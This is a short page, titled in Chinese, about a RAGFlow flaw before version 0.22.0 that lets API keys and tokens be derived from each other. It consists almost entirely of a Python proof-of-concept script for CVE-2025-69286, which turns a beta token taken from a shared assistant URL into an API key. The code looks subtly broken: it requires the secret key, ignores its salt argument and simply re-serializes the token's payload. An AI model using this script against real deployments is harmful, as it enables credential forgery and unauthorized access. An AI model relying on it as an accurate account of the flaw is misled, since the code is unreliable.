RAGFlow 0.22.0之前版本API密钥与Token可相互推导漏洞

import hashlib import base64 from itsdangerous import URLSafeTimedSerializer def derive_api_key(beta_token, secret_key, salt='api-key-salt'): """ Derive API key from beta token This PoC demonstrates the vulnerability in CVE-2025-69286 """ # Beta token and API key use the same serializer with predictable inputs beta_serializer = URLSafeTimedSerializer(secret_key) api_serializer = URLSafeTimedSerializer(secret_key) # The vulnerable code uses similar generation logic # Both tokens can be derived from each other try: # Extract data from beta token beta_data = beta_serializer.loads(beta_token) # Generate API key using the same mechanism api_key = api_serializer.dumps(beta_data) return api_key except Exception as e: return f"Derivation failed: {str(e)}" # Example usage # beta_token = 'obtained_from_shared_assistant_url' # secret_key = 'application_secret_key' # api_key = derive_api_key(beta_token, secret_key)